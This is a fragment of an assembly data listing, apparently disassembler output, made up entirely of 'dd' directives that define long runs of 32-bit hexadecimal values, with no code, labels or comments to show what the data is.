		dd 2A830002h, 48D38A01h, 0F8E3B3E7h, 5307DDD7h,	0CD4C1C9h
		dd 41DE8552h, 0E5F4DB48h, 4A8F670h, 73B1A45Ah, 185C81CEh
		dd 0A5FDC47Bh, 4304D601h, 0FB5ABFDDh, 0B15020h,	0C9BC7151h
		dd 270D3009h, 0FA186400h, 0C02EDFA3h, 0EDB814h,	2F179363h
		dd 4B1DEB6h, 0F05D1807h, 0C0CE4684h, 0BDCF657h,	0A5D90358h
		dd 7227331h, 0CD1FB000h, 7F40280Ch, 0E15F00ACh,	2385D717h
		dd 0E475BD1Bh, 8C79F00Fh, 459E8001h, 599D492h, 1A1D08E7h
		dd 708CC0E5h, 0AB1E3376h, 1004EE69h, 0E1C03C97h, 0E7032E68h
		dd 7A054FCh, 2AAD8126h,	7A3880AAh, 1600BF32h, 0E3C6789Bh
		dd 94ED6Ch, 7B41453Bh, 11A7BDC2h, 271EB5B0h, 0EA401705h
		dd 4F9038E5h, 26700022h, 5720FFDDh, 27019D3Eh, 40967FB0h
		dd 0EC406DA0h, 0F8E015B2h, 0AF9A0018h, 1D603835h, 25079D8Fh
		dd 0F6CCF58Ch, 27A9403Fh, 48106693h, 97001480h,	0FC6AA41Eh
		dd 61005571h, 1BBD5FBBh, 3FEDC37h, 0FA41DEB3h, 0FDD00BEEh
		dd 0EA0063B2h, 8B08E49Fh, 0F47D46h, 86A4D320h, 8CB0B784h
		dd 0D4F53F00h, 0E8167ADBh, 5FBF0281h, 31645D8Fh, 0EF95B60h
		dd 0D9693A0Eh, 7EFFA07Ah, 0A520F7h, 0EBB4FBE3h,	4BFB50Dh
		dd 24009276h, 996EB638h, 5A91789h, 1F75314h, 4798010Fh
		dd 0E781C6B3h, 43735AC0h, 17DCBB1Ch, 0A0BEB5C0h, 0AD5F6Eh
		dd 58B2E7DEh, 62926B3Bh, 70051E4h, 0A72F834h, 0E86449FDh
		dd 7C63015Ah, 57C76E47h, 368D207Fh, 0D7BE3500h,	0ED6D4088h
		dd 9E1C00E9h, 0A0084D10h, 0EE1355D8h, 831F5939h, 65FA0300h
		dd 0FE1EB5h, 110BE5F8h,	0F0371514h, 0A1B83600h,	0D2643F86h
		dd 0B5600967h, 7800125Bh, 0FAC00766h, 1FE7FF38h, 5F800265h
		dd 0B944B431h, 0E2BF001Ah, 9A92A888h, 22FE3F21h, 0A46C8A24h
		dd 0E9CED14h, 0C990AB75h, 0B24D00A4h, 12E11439h, 808315h
		dd 0DAE51DC4h, 82024B38h, 0B5AB5406h, 0C2736067h, 47CA00DFh
		dd 4EE96A32h, 72008B22h, 2DBA127Eh, 1ED85C2Ch, 8CD3B3h
		dd 1409C893h, 4100CCE8h, 816E36CAh, 504B0DF6h, 5AC81Eh
		dd 67F00E51h, 0CDBBE6E8h, 8004F738h, 85FE1DFh, 7565A5h
		dd 0B733BEDEh, 0C207B1Fh, 98EF4C00h, 2756E57Fh,	0EC8F90DAh
		dd 24B8F6h, 0FE7116A0h,	8ABE8991h, 0D7BAA707h, 3280530Dh
		dd 7817B7D9h, 0CD220026h, 272484F4h, 75736428h,	6C804501h
		dd 0B75825A7h, 0D852ECh, 0E2BA406Eh, 8D63CE3Eh,	0FE4D23Dh
		dd 0C07F8F20h, 0A477A12h, 18CCA12Ah, 0FFD830h, 0E6DA1A8Eh
		dd 0D007FD20h, 0CF806091h, 0C32DFA6Ah, 47970ACDh, 0B8D114h
		dd 3F1904DEh, 64009BF0h, 0F476C6E7h, 0FB81491Fh, 1D703080h
		dd 2E119633h, 32F24C00h, 0AE42609Bh, 2EA25h, 797D1A2Dh
		dd 884B416Dh, 1D94B096h, 109A1EB4h, 45795980h, 0B11C82h
		dd 0CDA01F95h, 0B7DEE08Ah, 7A0D3C00h, 0C62231EDh, 0B4E200D9h
		dd 0E59DE135h, 4B0752DFh, 9C16A32Bh, 0B89571B0h, 0AF755Bh
		dd 0D6F294F0h, 7E727D5h, 5651B630h, 0F6775F42h,	1E5901FCh
		dd 1375879Bh, 0C44ADCE3h, 9AE28CFAh, 0CD1B1A18h, 1E108E20h
		dd 0FA4D3A58h, 0C4614307h, 90379FFh, 0AB90F9BDh, 48004537h
		dd 0AF32E17Ch, 42B915h,	4EDA3A0Bh, 6414E487h, 26D5C600h
		dd 6D5BE1F7h, 0B37CB6h,	3277CD54h, 0F5202741h, 26744301h
		dd 5710A2E8h, 85820h, 36CBBD0Ah, 0B605F0CFh, 1F68CA1Eh
		dd 0E48A48C0h, 0E5A1A4h, 0E697690Ch, 5BE07709h,	3115BE00h
		dd 84E8EF36h, 472800B3h, 0B63E92B9h, 48F23088h,	0C62ABC0Bh
		dd 0A269006Ah, 0F876ADh, 75D186ACh, 0FC4C81D2h,	0CD359B0Fh
		dd 0FE0620D7h, 0AECCBCh, 484B0C6Ch, 8351B8D8h, 5BD438h
		dd 0CBC9A069h, 0B9E0DEFBh, 0BBE40270h, 0A4802371h, 6646BA28h
		dd 0AA7A8A00h, 0D834DC29h, 98DBF3CEh, 0CF2658h,	2BF62AFFh
		dd 2E65D0ADh, 7379640Ch, 0F564016h, 0BA923A32h,	90B7CE05h
		dd 53A2C244h, 0FCDA70Ch, 72E22819h, 0A87801A4h,	796FBA7Fh
		dd 0C089F526h, 0A900769Dh, 6E81945Eh, 307ECADh,	58B92548h
		dd 0F4007E96h, 0ED121E4h, 75C09Dh, 2E3BD217h, 4BC6C05h
		dd 9977EA09h, 53B0807Dh, 1AE288h, 892BAE52h, 86D87E69h
		dd 306F6C00h, 4F179C8Ch, 18F7708Dh, 0E0123463h,	6F7A6E26h
		dd 5775DF05h, 0A0107AA2h, 1A270250h, 0C0D20650h, 0E4E67D84h
		dd 0C1400CFh, 0A091B3EDh, 7E123493h, 18007CE5h,	66ECD894h
		dd 7DC800E4h, 285CFF7Ah
		dd 0C71EB093h, 4200AAD6h, 5670A21Dh, 1BC60054h,	21448BDDh
		dd 0EA00E1EBh, 0B17C666Eh, 33F799h, 0D829F426h,	0AE469BFAh
		dd 8068BF3Bh, 4DF4EE0h,	3B13A24Bh, 9A12FF8Fh, 9481642h
		dd 0AF00B8F0h, 7E6BD91Eh, 0F28FE101h, 5E90EB25h, 0B067ABFCh
		dd 9891727Ch, 4EF1002Ah, 47D5180Eh, 0BD07330Fh,	0CB539FFCh
		dd 0F3153E11h, 7B8D4930h, 0E5F60023h, 71C0EA28h, 0B9077756h
		dd 2E249521h, 973C89E0h, 584A097Dh, 34004CF8h, 2F47AE98h
		dd 1200E7FCh, 140666FCh, 9E74E4h, 0EA78CFDFh, 3FCA156Fh
		dd 0C5750F1Dh, 7F43D380h, 1F102022h, 70A1349h, 23A4550Bh
		dd 0B8B8D53Ch, 503D2EB1h, 0A58C1C5Dh, 3ED68440h, 2CF45760h
		dd 776490h, 0A7DCF856h,	0FD030CAAh, 2E7C058Fh, 18D6A842h
		dd 27B800B7h, 0A50DD298h, 0A400CD83h, 0F5F72F50h, 1D6D3Ch
		dd 0FFC79BB2h, 5D88C256h, 12C57300h, 0B324060Eh, 58400ACh
		dd 6C4B8FFBh, 63002322h, 9F511E1Dh, 4A2B32h, 29AD3041h
		dd 0F28039DEh, 0F4DF5602h, 0E1FC498Eh, 86D4EF7Fh, 7B4D002Dh
		dd 0A6E7815Ch, 2C008987h, 0D816D153h, 7F4074h, 21524FB6h
		dd 8C70BCF4h, 6CEA7C50h, 9EC04890h, 9228CB1Fh, 861E2C47h
		dd 0F8B103DCh, 0E43D5F21h, 1C64AC39h, 19AC5006h, 72790EE0h
		dd 0A5804798h, 0A9E217F0h, 636BCA00h, 9D5AB2ECh, 0A05C00B6h
		dd 0F168EF48h, 0C803CE91h, 7EE775DCh, 0F82DEB22h, 0CF7DFD0h
		dd 80EB8ACCh, 94FA9E78h, 2B7BF400h, 0FEA0D6Dh, 0FF213F64h
		dd 28A22A06h, 4D1730B2h, 0B00ED302h, 9AE66086h,	30489122h
		dd 0C4482719h, 0CC022EEDh, 2D120CB5h, 378040B4h, 40B1DFh
		dd 0A182FFD4h, 855C1CFEh, 127103BCh, 6A11EBh, 0A6F7E628h
		dd 49810B65h, 540AC105h, 84077B48h, 0FB302832h,	0A4E12Bh
		dd 459C07CDh, 35343D6Ah, 5881A800h, 0C28DB160h,	4A74D6h
		dd 0F1D0510Dh, 0FD722B7Ah, 175E4858h, 0CC0021C0h, 1B39CF35h
		dd 19CF454h, 0DF0BD134h, 0FC32AD4Ah, 0E014CDBh,	0BFD3248Fh
		dd 0E0C0CD2Ch, 85BD00D1h, 0C2FA50ABh, 982862D7h, 3600A359h
		dd 0B5FBD563h, 7619B45h, 86CF0B4Fh, 234120A2h, 0A8302D09h
		dd 0EEA1C0A9h, 39AB0084h, 358A4DEFh, 305C9A7Eh,	0F33930h
		dd 0F98E0806h, 3D0EA565h, 7D8BE98Dh, 0F4003EDEh, 0B935546Ah
		dd 0F5535A00h, 7BCC71E3h, 4BB1009Ch, 0D04CD11Ch, 390494C2h
		dd 0A2F95B51h, 1840BCD0h, 0EA70006Ah, 0D6C3655h, 0B8029E3Ah
		dd 57B6983Ch, 4AB0E02Ah, 0AD180B6Dh, 6460B0EFh,	8D1DF5DDh
		dd 0B7401002h, 6712DFD9h, 0D37B00EEh, 880E72E6h, 6417354Bh
		dd 6400E0BDh, 0B6DD33BFh, 25500560h, 80784898h,	8BA1579Eh
		dd 0E581DF0Eh, 334E208h, 0FE4D40ACh, 58D93C76h,	92D2B48Fh
		dd 74FA0013h, 57197D3Eh, 1823E939h, 61603A8Eh, 0F3BC0022h
		dd 9649CB71h, 0A500A346h, 870AC41Eh, 3E93Bh, 9880C770h
		dd 65F5DE5Bh, 0DCEE2C0Eh, 521520D5h, 4B38A0h, 9C480BA7h
		dd 7EEFF78Ch, 3B07F4E4h, 1E9BCCDCh, 517C8BAh, 0B6D95A07h
		dd 8051BC33h, 31F513h, 4B02ABC5h, 2AAC46E0h, 0F1003C7Ch
		dd 0A7895D95h, 3B4492F0h, 0F80361F4h, 71D13E33h, 0EB805000h
		dd 4FFEC20Ch, 0CF8A0046h, 0CE4AC1E4h, 87008318h, 9A5E2884h
		dd 34DBE2Eh, 6C6E8B93h,	0F3D0E3F9h, 3B00AF40h, 0E27C3370h
		dd 8E0ADDh, 0C714BDC6h,	0D8726A9Dh, 0D77D5814h,	9AF41C94h
		dd 289D5D8h, 612907Ah, 9D135D5Bh, 0CA0019BEh, 0F79B14C0h
		dd 68416Dh, 9AA1D85Bh, 0E93F7F36h, 0BA186E24h, 0D5C43300h
		dd 730CD1h, 0A057810Dh,	549F2CFDh, 0C99D2D00h, 0CD17E241h
		dd 5D623C91h, 6F017238h, 0AF1FEA5Ah, 0C0903888h, 1443B5B2h
		dd 0EB62009Fh, 25E0921h, 5660C99Eh, 8C5AB711h, 92FF1DDAh
		dd 53B2C08Eh, 0FA205105h, 0ADC14F13h, 6D4BB403h, 5E638701h
		dd 7390FF9Fh, 15D3367h,	8E8D2FF7h, 0ECA36250h, 0F2007C1Bh
		dd 66E317E5h, 7C2FF80Bh, 6BF7005Fh, 0D819D055h,	1B0071F9h
		dd 9A74FE65h, 3A7D3DE2h, 4A003784h, 0A31D88F2h,	0B81E529Dh
		dd 0D6406F11h, 0DCF6558Eh, 43D20368h, 7C1C16B5h, 64F814D0h
		dd 1804EA00h, 9C5F973Ah, 96500432h, 804ED791h, 0BD6653Ch
		dd 544A081Eh, 0F94F0340h, 0CC39FB44h, 70B01AC2h, 3DC7B600h
		dd 68768460h, 0C9DF26h,	99F0D5AEh, 8E077801h, 0F6E017EEh
		dd 6C9FCDC0h, 27DAC034h, 622F5DD6h, 80E8F93Fh, 0E5036553h
		dd 30C08CB0h, 7CF059BFh, 0B10D89EDh, 6170DC3Dh,	0BF87040Eh
		dd 0C3F8FCCFh, 0A8FE421Fh, 0CE65D401h, 0EEC019CBh, 8FF6EAh
		dd 72D9E278h, 0B1C9FA22h, 50B2450Eh, 0E9556092h, 0D1F5CBh
		dd 0A4907D81h, 0CA68AD5Ah, 39AE8C03h, 85B2D3A2h, 2B20B6C7h
		dd 5F258Bh, 0FE100104h,	784F5B21h, 7E1EBC00h, 2C5C4C60h
		dd 2BCA000Eh, 84C5248Eh, 88002D8Bh, 0C9D04194h,	2CFB8C46h
		dd 5C1C2F6h, 80930EBDh,	5DB321CFh, 897AE73Bh, 20F746Ah
		dd 0E3178051h, 497016h,	9D7CDCBCh, 0FD04BED1h, 0B31AC400h
		dd 5181D4F1h, 0DC730177h, 98C1B9CEh, 0F9012087h, 0AA899000h
		dd 5DF5528Fh, 0DD4F0038h, 0B368E911h, 0F600ECD2h, 4D9A3AD1h
		dd 7ACB29F9h, 63E1007Dh, 4EB20C54h, 6A00ACA7h, 0BA3A6C66h
		dd 2918561h, 797DCD1Ah,	43C02E48h, 0E81F1835h, 84094E03h
		dd 860E00DCh, 945C6Bh, 4CF0EFF8h, 0BD4E520Bh, 709FEB37h
		dd 58E0CBC7h, 0F8355AE1h, 89840020h, 2E82933Ch,	0E800F7FDh
		dd 8C90FCF0h, 5C273B85h, 6E009E15h, 32E72993h, 0CC0B3CB3h
		dd 800EC3AFh, 0FFBFDA60h, 569B0055h, 0AE7A866Ch, 420FCC29h
		dd 0E0FCBAA2h, 19993C2Dh, 212FC4Ah, 893967C7h, 0E8E0E386h
		dd 0E212D252h, 5F051032h, 4FC0D0F6h, 35F9B6h, 0A94F1EFBh
		dd 0DB53199Eh, 0BABF2900h, 26CA4476h, 7D14002Ah, 0CF2BA65Fh
		dd 3A09F801h, 80596D3Fh, 0F1150BE8h, 89B1000Eh,	0CD64902Dh
		dd 481C5774h, 0AFC0C065h, 7C45D123h, 9516033Bh,	0F619FB6Dh
		dd 514B901h, 0E3CD8486h, 3C1B9DD0h, 5ABFE23Ch, 399BB700h
		dd 8B18F44Eh, 3B9E1A00h, 203AACBCh, 92DDF225h, 260806ACh
		dd 0E8EBAA8Dh, 0B200BEECh, 99E602C5h, 11E2FAh, 150A66D6h
		dd 0D274182Bh, 0D1980700h, 1376CD3Bh, 868B07B9h, 909970ADh
		dd 0F8D4A087h, 391DF700h, 8F5B1B29h, 780800F6h,	14CE8E2Ah
		dd 0BD007B92h, 0D32DCF32h, 3B974FBh, 1BE05D0Ch,	0FDC04305h
		dd 0E809D0AEh, 0A0DF329Eh, 8A2F7D80h, 0AF5000A2h, 7491EFFEh
		dd 7E00527Ah, 0CE311C5Eh, 0ECD1852Ch, 0CB00FC0h, 2740ADF1h
		dd 6CF226A8h, 93966F05h, 98000FB2h, 0A5AACAEEh,	6010032Bh
		dd 78C4999Eh, 3E0A8EE0h, 0C920BE00h, 0E0546B1Ch, 75720004h
		dd 0F9EC322h, 0AC006A73h, 9BEAE3C1h, 4D0330A1h,	4F0F14D5h
		dd 920BCDAh, 8BD04BF1h,	0F0D84501h, 1573E770h, 0FEED28F8h
		dd 0D3830046h, 4BE34780h, 4500235Dh, 205B311h, 31586h
		dd 0E5EDCE36h, 0C109A8E9h, 20A0CD0Eh, 8917808Fh, 0C9D1DAh
		dd 0EAD972A6h, 3E3AE866h, 0AA700D00h, 0BFC7EDDCh, 321C00A9h
		dd 0E2DB6881h, 0DA1F1D19h, 82C00434h, 9FCEEAAAh, 0BA9B00F4h
		dd 275E407Bh, 0E200172Dh, 0D205454Dh, 15080C9h,	445FA433h
		dd 7051F6B2h, 0FCE42EEEh, 9900C1B0h, 7A824DB8h,	0FA470737h
		dd 80F23C06h, 0F06F9F83h, 5A98D1DDh, 5500CD98h,	0B3A68664h
		dd 1BD9A39h, 132B1A06h,	0E478150Dh, 25011FCBh, 0BEFC745Ah
		dd 0E1CA2372h, 0D0D462BDh
		dd 0F2F0C0F1h, 0D45613C6h, 0BCFF300h, 4E837B8Dh, 2660986Eh
		dd 304B30CBh, 6261E960h, 0F21C327Eh, 9589CEA8h,	9D500015h
		dd 743E9226h, 0EAB8F5h,	6B2C56Ch, 0E48CCF07h, 0C0367102h
		dd 60C14EA0h, 1BB8BF2Dh, 41F90B94h, 40CE0AB0h, 0E6731100h
		dd 30DC67F4h, 3E2E0019h, 5895B87Fh, 78003570h, 4BC647B4h
		dd 4CD23BDBh, 1200601Fh, 0F1D75B3Ah, 79266044h,	0D11DEC31h
		dd 0B28CA280h, 0EADCB1h, 939724CAh, 3D39706Ah, 0E6E50801h
		dd 1AF9E71h, 48EDD8h, 0FD783A8Bh, 53BEE2A9h, 0F20274B0h
		dd 4B9EE11Fh, 6D9880E0h, 506E7A4Ch, 39C6DC0Dh, 0EB01D5DCh
		dd 7C57C1D2h, 27188046h, 575A78Fh, 9E395C82h, 0E7A3BF00h
		dd 7640D5BEh, 0E878500Fh, 18E100E6h, 261F671Bh,	8F804Ah
		dd 217BCF53h, 0F3A131C8h, 0C04FC483h, 0CA5F3Ah,	9CAB3025h
		dd 0B803EDE0h, 27DF00D8h, 74888765h, 0B0093E2h,	8DAB3F38h
		dd 3ED0045Dh, 1300BD7Ch, 46E9B8F3h, 0FC005E26h,	9C78DD56h
		dd 0AFF8AAh, 0DE0A44Ch,	1B6F9E83h, 0F43AD803h, 59A13Dh
		dd 2BE6FCD0h, 2478541Eh, 5E006B98h, 9EE452FFh, 0FEF13AAh
		dd 738DCEF1h, 69C420E0h, 9D3E513Ch, 7E2880C9h, 1910C1AEh
		dd 0B0530079h, 0B437CCF2h, 4FF2F378h, 63C99E00h, 0FEE998F0h
		dd 0D6700EA0h, 0CDC0DA9Ch, 487A62B1h, 9856C000h, 0E972DB3Ah
		dd 0E87F3812h, 0B9D7530Eh, 1CEF3540h, 3C00425Eh, 0DC1265B0h
		dd 0B89755B6h, 0C5E9005Ch, 2EAA6FD0h, 9E007293h, 0BD2BB27h
		dd 447336h, 1B9B21BCh, 0CA7ADD9h, 0C6CCF500h, 0F1FF282Dh
		dd 1DD60745h, 0D0F76643h, 5F5A4B9Bh, 787FDA02h,	0C06C8A9Eh
		dd 7285A3E0h, 52EC8Bh, 37C6D195h, 0D6F8D393h, 0EF006278h
		dd 6F54D0E8h, 70730533h, 5C253C87h, 79F6C502h, 106004DBh
		dd 0CC3A6090h, 10133062h, 11EDC1h, 69083FE8h, 0BD1074F9h
		dd 0A28CEE00h, 0A34A42B3h, 9BED3DC5h, 0D1B13109h, 7268DC00h
		dd 1E00383Ah, 0E72D3BBCh, 0A215B5h, 0EE2B0241h,	226A0898h
		dd 1DC784Ch, 0DF2ACA1Eh, 6820D14Dh, 3962008Dh, 5C8E3674h
		dd 5F012354h, 70EC2A1Fh, 98809B01h, 0E4C6BAC5h,	0FA18E2F7h
		dd 7785BDCh, 41E46Fh, 30D5BF05h, 189E55D0h, 1BE17000h
		dd 1EC76F1h, 48B8AEh, 6EA1C11Ah, 0D2B53C39h, 7C1B6700h
		dd 0AC8792E8h, 3C9053h,	31943E57h, 2AA223B8h, 13E4C903h
		dd 0D8E89DBEh, 1DE4B89h, 93A9D06Ah, 0FC0B56F9h,	0BC073651h
		dd 0ABD8C7B9h, 0E8FAC0AEh, 0F976FCCh, 24A2EA42h, 0F1A79FA0h
		dd 2100E01Bh, 68F3F229h, 26378C1Ah, 13A389Ch, 7962519h
		dd 39F08006h, 0C2AD3C77h, 0CC03003Bh, 0DE3266A8h, 7928DD35h
		dd 59E0A483h, 67BAF801h, 8109D95Ch, 5321EECDh, 142B29CCh
		dd 0D1860A90h, 2885B24h, 7E828C08h, 8300B8C4h, 0B6FD0F6Eh
		dd 5C15C7h, 4C16C242h, 1FA698D3h, 0DD50E500h, 0F7266F1h
		dd 1DFEC6h, 88AF89D7h, 0FF1AB511h, 418C4F00h, 0EEA2E9BDh
		dd 8533091Dh, 0D08440D4h, 2CFC8088h, 1100699Ah,	0B6FED901h
		dd 632007h, 17702915h, 0CE30468Fh, 0E88185Ch, 40AF4FB1h
		dd 27C8739Ch, 48A648A2h, 0E06C3D00h, 0B10D403h,	60BCC600h
		dd 0A237F91Bh, 3DD00079h, 0AC765483h, 0C8E607ABh, 3EB71600h
		dd 60EEE73Ah, 0F460E777h, 0FCFD0EF6h, 35A005B8h, 0E9549EFAh
		dd 59B2B10Fh, 5C9320D4h, 6E289Bh, 21380482h, 39076272h
		dd 2E001474h, 0FED1EC03h, 38F4D05h, 730A15B0h, 62D84E9Eh
		dd 6E043A83h, 971304D6h, 0A8EC1083h, 717686h, 7FB7EA7Dh
		dd 3E8034D2h, 0CE392A79h, 93B10021h, 6395BE70h,	0B0870711h
		dd 51A244D2h, 800BCB25h, 63943F29h, 5C1ABF3Eh, 670314A5h
		dd 0FC7880F4h, 0CB43F2A0h, 0FA4D2700h, 15A2EB2Dh, 8B1003Ah
		dd 8A681FB2h, 0AA023EC0h, 0F4E496D0h, 6F2CC09Ah, 0DC2000BBh
		dd 921DB198h, 860082ADh, 0F9101425h, 1FD7508h, 0E0899107h
		dd 8159E395h, 0BA7B4298h, 94346301h, 0A37A0Ch, 4DB03F05h
		dd 21CD5A1Ah, 0B93ABE72h, 39D8B0DDh, 0D0AC06h, 0C5C74678h
		dd 6D814F36h, 8FFEEC00h, 19D39276h, 7FE4009Fh, 0A6E717B9h
		dd 7C0079AEh, 0B516E951h, 0C10125h, 385403F5h, 479762A2h
		dd 73931500h, 0C6E98395h, 0BC23B1Fh, 0B1BB9000h, 257DDBF9h
		dd 0BC33AF14h, 116601BCh, 0B7897952h, 1708FCF4h, 0C66447h
		dd 6D7145CBh, 7B002BDDh, 0B582FA26h, 344C73Ch, 0E959E7EDh
		dd 81A807A9h, 0C17E142Dh, 28802400h, 0E6A30D64h, 0DE1B3A70h
		dd 0ADC80483h, 600046F2h, 0BE0AE277h, 0EB3781D2h, 30D1C23Bh
		dd 6471E058h, 0D90B2700h, 63F70351h, 0D81F0E76h, 0BD00A590h
		dd 934A5CBBh, 6BB15600h, 30582AB6h, 0DE42022Bh,	76954E8Dh
		dd 64000C70h, 9353FCB4h, 1BBFF7Fh, 0A4D64A1Ch, 20FDEFD2h
		dd 0B800FE94h, 7F02ABDDh, 40A1DCh, 0C7D17493h, 6A18D234h
		dd 2B62410Bh, 4ACA0052h, 0E22ED45h, 3C348DF9h, 0F17F00FDh
		dd 0D1BFC204h, 18353BE4h, 9401F077h, 5D729B46h,	7B65BECh
		dd 0BAB56B6Eh, 49D04094h, 0F00BF4Fh, 0A9A06D3Ch, 71DEEE12h
		dd 82C50025h, 0F71A0685h, 51FE63BDh, 0FE0078D3h, 0E7CBE355h
		dd 0CEF80071h, 9FDF57A2h, 5DF035C0h, 0D401EE7Eh, 967329F7h
		dd 3D44C0Fh, 21453FB7h,	0FFD7848Eh, 63262307h, 8FE92B54h
		dd 0E4EAF9D0h, 6F0032E8h, 0B43FDECAh, 961EDBh, 66AD3BE7h
		dd 0F91C5C59h, 6711E200h, 94397814h, 0F0DD5019h, 26D0EB15h
		dd 0B2D03D2Eh, 239DFC85h, 4D6C8121h, 0BA3D7097h, 1BF5F901h
		dd 5A5E872h, 1F03DCCh, 48E59558h, 209A1110h, 0E01E88F6h
		dd 9B47FD49h, 391CB97Dh, 0C2DD1D71h, 10F858D5h,	0CA010E2Dh
		dd 0FED09D86h, 0FE14115h, 0CCD8D5E1h, 0A9A703D3h, 0FB8E317Eh
		dd 0C539C480h, 70D7E33Fh, 77684C0Ch, 7DA134h, 17439656h
		dd 0FAB29118h, 38A60C0h, 0E139AA7h, 2AE86AC3h, 29F20500h
		dd 9F1EF8DBh, 0E00257B9h, 0C07B6B81h, 3DD4BB3Ch, 0D100C9F5h
		dd 0D8D63D27h, 4C0232E2h, 0A910AA5Ah, 8C12404Ah, 252D3C0Fh
		dd 4E2000CBh, 0E3930BA5h, 294965Ch, 2D2E1C26h, 88D0C344h
		dd 0C71A66h, 0F9C9D061h, 0C86DFEB6h, 0F60024B8h, 0A8840702h
		dd 143BDEh, 56301DEFh, 1DF0BB0h, 84028E4Ah, 0E87E546Ah
		dd 5A93B49Ch, 46FCE7h, 0E5264D3h, 48DD7974h, 78009467h
		dd 0E22BD92Eh, 0B800114Eh, 9E9D7E06h, 0F85E7692h, 24EA03EBh
		dd 0B9DCB220h, 0C8E34BD1h, 0D102F36Ch, 0D257E1Eh, 0C434C0EBh
		dd 41C600D8h, 7B9A8C2Bh, 0BE0E8357h, 0E0E5A9A6h, 0CEC2090h
		dd 21CF01D8h, 3F588940h, 8D880BEh, 8DDBB611h, 792ECBCh
		dd 14D0F40Fh, 9DE4905Bh, 313D4FEh, 0CC008ADAh, 0E72F1295h
		dd 13751D56h, 0BCE61DB6h, 0E5D4A880h, 97141811h, 15DA361Ch
		dd 0E71CA464h, 0A4F7F8C0h, 38CF1Eh, 0C58812B1h,	202722DAh
		dd 4EF06702h, 635A5210h, 6693F074h, 5857004Fh, 7DD9802Ah
		dd 1303E597h, 0F7250DDCh, 0F281E836h, 28577C88h, 3CC038Eh
		dd 4DE6069Fh, 6CA00EC4h, 2D0011CBh, 5608BFB1h, 56E9A38h
		dd 6914727Ch, 0FC840ECCh, 9B930483h, 81947840h,	0C3253D00h
		dd 8A874A85h, 201E0048h, 562FA7A5h, 9C02908Fh, 0C0CD91FFh
		dd 0A074E07Ch, 13490061h, 2EBC1E75h, 8C24CF09h,	3B07903Fh
		dd 0BB739Bh, 0BF8A3555h, 5CEA0078h, 85973A14h, 93001D55h
		dd 9A83DA9Ch, 0B90FE8h,	459D9461h, 472BAB91h, 0D700B4E8h
		dd 95C4B3A5h, 0ED55956h
		dd 0A7FF43C2h, 0D162CDA0h, 44018EDDh, 0AF51FBE1h, 2D60C150h
		dd 28B6005Dh, 8FD50FF4h, 107E4D9h, 6D8B0EA1h, 5E83BBF1h
		dd 8C73D8h, 0FB3FD807h,	36445056h, 817258B0h, 28BC9B05h
		dd 7880B23Bh, 1BADB2Fh,	4BEB846Fh, 2E465BDDh, 97CCA8C0h
		dd 6E4A0703h, 90BBEA59h, 0FA48B72Ah, 52B8B61Eh,	4B109187h
		dd 1A6D01B1h, 4EEC60h, 0F7FD8493h, 7D9705EEh, 953ABA00h
		dd 8A59965Bh, 60EE45h, 5F46CC0h, 342FD625h, 0A3F56300h
		dd 0F8399896h, 0E1E4036Fh, 0C6491A5Ah, 5A01800h, 0CB2B0776h
		dd 72C7034Fh, 0FCE198F1h, 0E53F02E8h, 15603303h, 80E7956Ah
		dd 0BCA83Ah, 0CACB697Fh, 9B579816h, 56ED6E00h, 2CFC1197h
		dd 5CAD0F7Dh, 0B8404D24h, 0C18BB0F3h, 44947500h, 5D83BDC7h
		dd 0C0183D42h, 9655AEh,	0A331F23h, 0C43837CAh, 0BD45807Fh
		dd 0F9F32A0Dh, 0D074037Eh, 1450F177h, 0C70CE4E7h, 88F40058h
		dd 9C00AD9Ah, 0E39F25ABh, 1E90C0F2h, 833655B7h,	0C751701Dh
		dd 0F0B5A8E8h, 4DA67E00h, 0B3FE8A3Fh, 0A50E01DAh, 0D2FB33CBh
		dd 56A4ECCAh, 71224300h, 0BB61312Eh, 1E303D4Fh,	579D3E01h
		dd 3020C41Ch, 880F01DDh, 0E06D18A5h, 0D2CB214Fh, 48AF00CDh
		dd 0BCD08B4Ch, 0CE1E1A67h, 0CA00538Ah, 71245B5Fh, 62BF02C6h
		dd 3303868Ch, 0F0935AE0h, 80234B38h, 77E953D4h,	445540h
		dd 669E0DB5h, 0CCF56DE4h, 8D0B9CFAh, 705941h, 0E1D63E3Fh
		dd 0BEF213h, 83168062h,	399C782Ch, 0D294FF00h, 0E601F896h
		dd 464C2C86h, 725E001Dh, 81563C5Fh, 9E8248h, 0DF33C257h
		dd 7EE9502h, 3D7B205Ah,	0F47633B2h, 0E14211C8h,	9AA09300h
		dd 7ED579D8h, 54BE006Ah, 8DCFAA74h, 0A10E2B94h,	20E68A24h
		dd 68FD48B4h, 99DA00BEh, 0F7442A34h, 0C701E980h, 0AE62D73Bh
		dd 1C60EAF3h, 38D30F7Bh, 8BE02289h, 474B5297h, 0FD54B70Ch
		dd 42108Ch, 0F9E3803Ch,	39870196h, 5C190905h, 9680D308h
		dd 0DCA3B798h, 4D3CC378h, 0E9C0B5EEh, 2200C294h, 2BC13AFDh
		dd 0F8B385C6h, 0CE6B0C9h, 0B4DA9F2Ch, 490E3D10h, 60A2B7F3h
		dd 0DB55B987h, 517200D4h, 7F202AACh, 0DE000D54h, 4DAD2886h
		dd 0C805849h, 0A048E681h, 0C00F778h, 0C35F71FFh, 13E818h
		dd 0BA7625AEh, 8C546756h, 0C4D50D00h, 53A57FAh,	25C300F8h
		dd 96196BADh, 8F008E07h, 0B18A0C9Fh, 1EAEDC83h,	8FF08682h
		dd 5780E16Bh, 0B61B02D2h, 6EECCF00h, 68B95FC2h,	477978h
		dd 4CB1BF9Eh, 92F4A316h, 97FD9400h, 602B8D40h, 2D350052h
		dd 72AD3148h, 0CE00BC9Fh, 3277858Bh, 50214CDEh,	0E064A2A6h
		dd 0C82503D8h, 515EC0ABh, 382F37F8h, 0CD3D4973h, 7AFE8083h
		dd 6F8E92C4h, 0AB3C0064h, 9F0F5E6Dh, 0BF075CD1h, 2DEB3FA0h
		dd 0D7A8605Fh, 188EFDh,	62A58D35h, 0C6939BD4h, 36255200h
		dd 44DD4114h, 422000Ah,	3115E406h, 19003B2Ah, 0F04E619Fh
		dd 71A57F7h, 3FFBB96Dh,	25EBC003h, 0CCE0BC04h, 0CD63BA00h
		dd 0EC89C122h, 0B90314DDh, 0F700B072h, 5E588228h, 400192CCh
		dd 845681AEh, 208C707Dh, 0A5C4C32Dh, 30555830h,	0E8A6203Eh
		dd 9B3A006Eh, 12E1F2ABh, 2A806AB5h, 0FACA073Dh,	0CDCE3EC1h
		dd 0BF9CE009h, 0E0E13B00h, 4633653h, 5D2A001Eh,	0F379E5ECh
